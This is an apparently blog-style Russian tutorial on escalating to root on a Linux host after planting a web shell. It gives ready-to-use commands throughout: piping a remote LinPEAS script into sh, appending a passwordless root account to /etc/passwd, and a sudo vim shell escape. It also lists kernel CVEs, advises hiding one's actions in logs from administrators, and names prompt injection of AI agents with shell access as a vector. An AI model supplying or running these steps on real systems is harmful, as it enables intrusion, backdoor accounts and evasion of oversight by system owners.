Ты залил шелл, сидишь под www-data или каким-нибудь безобидным svc-app, и думаешь: «ну и что дальше, я тут как в клетке». Не ной. Это не тюрьма, это стартовая точка. PrivEsc в Linux — это не магия, это методичный чек-лист: enumerate → найди дыру → эксплойтни → root shell. Всё как в любви: сначала долго присматриваешься, потом резко и без предупреждения.
Точка входа: enumeration — это не скучно, это фундамент
Прежде чем палить эксплойты в кернел, как из пушки по воробьям, сделай нормальную разведку. 90% реальных privesc — это не 0day в ядре, а банальные админские косяки: кривые права, забытый sudo, cron-скрипт с правами root, который ты можешь переписать.
Ленивый, но эффективный вариант — автоматизировать сбор:
|
1 2 3 4 5 |
# LinPEAS — automated recon, находит почти всё curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh # pspy — видит cron-джобы и процессы root БЕЗ root-прав (наблюдает /proc) ./pspy64 -pf -i 1000 |
pspy — это вообще читерский код, потому что видит, что root запускает по расписанию, даже если тебе нельзя читать crontab напрямую. Запусти его в фоне минут на 5-10, попей кофе, посмотри что творится в системе.
Что бросилось в глаза: шесть классических векторов
Вот твой чек-лист. Прогоняй по порядку, где-нибудь да зацепит.
-
SUID/SGID бинарники. Ищи файлы с битом SUID, которые запускаются от имени владельца (часто root). Команда:
find / -perm -4000 -type f 2>/dev/null. Нашёл что-то нестандартное типаfind,vim,python,awk— сразу гугли (а лучше сразу проверяй) на GTFOBins . Это база данных бинарников, которые «легитимно» можно абьюзнуть для эскалации — читай, легальный лут для хакера. -
Sudo-мисконфиги. Команда
sudo -l— твой лучший друг. Если видишь(ALL) NOPASSWD: /usr/bin/vim— всё, дальше объяснять не буду, GTFOBins тебе в помощь:sudo vim -c ':!/bin/sh'и ты root. -
Cron hijacking. Скрипты, запускаемые по крону от root, с правами на запись для твоего юзера — это подарок судьбы. Смотри
/etc/crontab,/etc/cron.d/, и права на сами скрипты. -
PATH injection. Если root-скрипт вызывает бинарник без полного пути (
cpвместо/bin/cp), а твой$PATHможно перезаписать в приоритете — подсовываешь свой злойcp, ждёшь запуска по крону, получаешь shell. -
Linux capabilities. Забытый мир после SUID.
getcap -r / 2>/dev/nullпокажет бинарники с расширенными правами (cap_setuid+epнаpython3— это буквально root в кармане). -
Kernel exploits. Крайняя мера, когда всё вышеперечисленное дало пустоту. Проверь версию ядра (
uname -a) и ищи публичные PoC.
Векторы атак 2025-2026: не только классика
Индустрия не стоит на месте, и кернел-баги продолжают сыпаться щедро:
-
CVE-2026-46333 — свежая дыра в
__ptrace_may_access(), логическая ошибка позволяет непривилегированному локальному юзеру читать чувствительные файлы и выполнять команды от root на дефолтных установках нескольких мажорных дистрибутивов. Это прямо учебник, как «мелкий logic flaw» превращается в full root compromise. -
«Attack of the Vsock» (CVE-2025-21756) — баг в vsock-подсистеме, позволяющий вырваться из VM на хост через манипуляцию reference-счётчиками при переназначении транспорта, что триггерит use-after-free. Ransomware-группы типа RansomHub и Akira уже вовсю юзали похожие цепочки для постэксплуатации.
-
Container escapes через OverlayFS («Flipping Pages») — юнион-файловая система Docker не всегда корректно мапит UID, что даёт контейнерному юзеру root на хосте. Если пентестишь докеризованную инфру — обязательно в чек-лист.
-
CVE-2021-22555 — старый, но не забытый нетлинк-баг: heap out-of-bounds write через специально скроенные netlink-атрибуты, публичные PoC показывают full root compromise за секунды на дефолтном конфиге ядер 2.6–5.12.
Тренд 2026 года: атакующие всё чаще стартуют внутри контейнера или через AI-агентов с shell-доступом (привет, prompt injection в LLM-тулах, которые могут случайно потрогать /etc/sudoers). Так что если пентестишь что-то с AI-автоматизацией — не забудь про этот вектор, он свежий и недооценённый.
Команды и лайфхаки для быстрого профита
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# SUID hunting find / -perm -4000 -type f 2>/dev/null # Capabilities hunting getcap -r / 2>/dev/null # Sudo rights check sudo -l # Writable /etc/passwd? Впиши себе root без пароля echo 'pwned:$1$pwned$xyz:0:0:root:/root:/bin/bash' >> /etc/passwd # Cron watcher без root ./pspy64 # GTFOBins-style эскалация через vim (если sudo NOPASSWD) sudo vim -c ':!/bin/sh' |
Не забывай про обфускацию своих действий в логах, а то admin проснётся раньше, чем ты закончишь.
Итог: чек-лист вместо магии
WAF, права доступа, sudoers — это не стена, это приглашение на танец, если админ был невнимателен хоть раз. Настоящий privesc в 95% случаев — это не элитный zero-day, а забытый файл с правами 777 или sudoers-строчка, скопированная из Stack Overflow пять лет назад. Прогоняй LinPEAS, смотри GTFOBins, проверяй cron — и root у тебя в кармане быстрее, чем ты придумаешь следующий мем про безопасных админов.



